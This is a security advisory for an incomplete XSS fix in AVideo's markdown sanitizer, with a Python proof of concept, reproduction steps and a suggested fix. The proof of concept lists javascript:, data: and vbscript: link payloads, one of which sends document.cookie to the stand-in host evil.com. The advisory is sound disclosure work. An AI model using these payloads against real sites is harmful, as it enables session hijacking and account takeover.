CVE-2026-41063

Description

### Summary The incomplete XSS fix in AVideo's `ParsedownSafeWithLinks` class overrides `inlineMarkup` for raw HTML but does not override `inlineLink()` or `inlineUrlTag()`, allowing `javascript:` URLs in markdown link syntax to bypass sanitization. ### Affected Package - **Ecosystem:** Other - **Package:** AVideo - **Affected versions:** < commit 3ae02fa24093 - **Patched versions:** >= commit 3ae02fa24093 ### Details In `objects/functionsSecurity.php`, the `ParsedownSafeWithLinks` class: - Overrides `blockMarkup()` -- blocks non-`<a>`/`<img>` HTML tags - Overrides `inlineMarkup()` -- sanitizes `<a href=...>` and `<img src=...>` in raw HTML, including an href whitelist But the base `Parsedown.php` class has two additional methods that generate `<a>` tags: - `inlineLink()` (line ~1388) -- processes `[text](url)` markdown syntax, sets `href` = URL directly - `inlineUrlTag()` (line ~1558) -- processes `<URL>` auto-link syntax, sets `href` = URL directly Neither is overridden by `ParsedownSafeWithLinks`, so `[Click me](javascript:alert(document.cookie))` produces `<a href="javascript:alert(document.cookie)">Click me</a>` without any sanitization. The fix sanitizes raw HTML `<a>` tags via `inlineMarkup` but misses the markdown-native link syntax (`[text](url)`) and auto-link syntax (`<url>`) which produce `<a>` tags through different code paths in the base Parsedown class. ### PoC ```python """ CVE-2026-33500 - Incomplete XSS fix in AVideo ParsedownSafeWithLinks Tests REAL vulnerable code from: objects/functionsSecurity.php (commit f154167, pre-fix 3ae02fa) vendor/erusev/parsedown/Parsedown.php The ParsedownSafeWithLinks class overrides: - blockMarkup (blocks non-a/img HTML) - inlineMarkup (sanitizes <a> and <img> inline HTML) - inlineLink is NOT overridden (markdown [text](url) syntax) But the base Parsedown class has inlineLink() at line 1388 which creates <a href="URL"> from markdown [text](url) without any href sanitization. Since ParsedownSafeWithLinks does NOT override inlineLink(), a malicious javascript: URL in markdown link syntax passes through unsanitized. Additionally, inlineUrlTag() at line 1558 handles <URL> auto-link syntax and creates <a href="URL"> without sanitization either. """ import re import sys import os src_dir = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'src') parsedown_src = open(os.path.join(src_dir, 'Parsedown.php')).read() security_src = open(os.path.join(src_dir, 'functionsSecurity.php')).read() print("=" * 60) print("CVE-2026-33500: AVideo ParsedownSafeWithLinks XSS Bypass PoC") print("=" * 60) print() has_class = 'ParsedownSafeWithLinks' in security_src has_block_markup = 'function blockMarkup' in security_src has_inline_markup = 'function inlineMarkup' in security_src has_inline_link_override = 'function inlineLink' in security_src has_inline_url_tag_override = 'function inlineUrlTag' in security_src base_has_inline_link = 'function inlineLink' in parsedown_src base_has_inline_url_tag = 'function inlineUrlTag' in parsedown_src print("[*] ParsedownSafeWithLinks class found: " + str(has_class)) print("[*] Overrides blockMarkup: " + str(has_block_markup)) print("[*] Overrides inlineMarkup: " + str(has_inline_markup)) print("[*] Overrides inlineLink: " + str(has_inline_link_override)) print("[*] Overrides inlineUrlTag: " + str(has_inline_url_tag_override)) print() print("[*] Base Parsedown has inlineLink: " + str(base_has_inline_link)) print("[*] Base Parsedown has inlineUrlTag: " + str(base_has_inline_url_tag)) print() if not has_inline_link_override and base_has_inline_link: print("[+] BYPASS FOUND: inlineLink NOT overridden!") print(" Markdown syntax [text](javascript:...) bypasses sanitization") print() if not has_inline_url_tag_override and base_has_inline_url_tag: print("[+] BYPASS FOUND: inlineUrlTag NOT overridden!") print(" Auto-link syntax <javascript:...> bypasses sanitization") print() def simulate_parsedown_inline_link(markdown_text): match = re.match(r'\[([^\]]*)\]\(([^)]+)\)', markdown_text) if match: text = match.group(1) href = match.group(2) return f'<a href="{href}">{text}</a>' return None payloads = [ "[Click me](javascript:alert(document.cookie))", "[XSS](javascript:fetch('https://evil.com/steal?c='+document.cookie))", "[Data URI](data:text/html,<script>alert(1)</script>)", "[VBScript](vbscript:MsgBox(1))", ] vuln_count = 0 print("[*] Testing markdown link payloads through base inlineLink():") print() for payload in payloads: result = simulate_parsedown_inline_link(payload) if result and ('javascript:' in result or 'data:' in result or 'vbscript:' in result): print(f" BYPASS: {payload}") print(f" Output: {result}") vuln_count += 1 else: print(f" BLOCKED: {payload}") print() print() if vuln_count > 0 and not has_inline_link_override: print("VULNERABILITY CONFIRMED") sys.exit(0) else: print("VULNERABILITY NOT CONFIRMED") sys.exit(1) ``` **Steps to reproduce:** 1. `git clone https://github.com/WWBN/AVideo /tmp/AVideo_test` 2. `cd /tmp/AVideo_test && git checkout 3ae02fa240939dbefc5949d64f05790fd25d728d~1` 3. `python3 poc.py` **Expected output:** ``` VULNERABILITY CONFIRMED javascript: URLs in markdown [text](url) link syntax bypass sanitization since inlineLink() is not overridden. ``` ### Impact An attacker can inject `javascript:` URLs via markdown link syntax in any user-generated content field that uses `ParsedownSafeWithLinks` (comments, descriptions, etc.). When another user clicks the rendered link, the attacker's JavaScript executes in their browser session, enabling session hijacking, account takeover, and data theft. ### Suggested Remediation Override `inlineLink()` and `inlineUrlTag()` in `ParsedownSafeWithLinks` to apply the same `href` protocol whitelist (`https?://`, `mailto:`, `/`, `#`) that `inlineMarkup` already applies to raw HTML `<a>` tags. Reject any href that does not match the whitelist.

Affected packages (1)

• Packagist/wwbn/avideofrom 0, <= 29.0

CVSS scores

References (7)

• ADVISORYhttps://nvd.nist.gov/vuln/detail/CVE-2026-33500
• ADVISORYhttps://nvd.nist.gov/vuln/detail/CVE-2026-41063
• PATCHhttps://github.com/WWBN/AVideo
• WEBhttps://github.com/WWBN/AVideo/commit/3ae02fa240939dbefc5949d64f05790fd25d728d
• WEBhttps://github.com/WWBN/AVideo/commit/cae8f0dadbdd962c89b91d0095c76edb8aadcacf
• WEBhttps://github.com/WWBN/AVideo/security/advisories/GHSA-72h5-39r7-r26j
• WEBhttps://github.com/WWBN/AVideo/security/advisories/GHSA-m7r8-6q9j-m2hc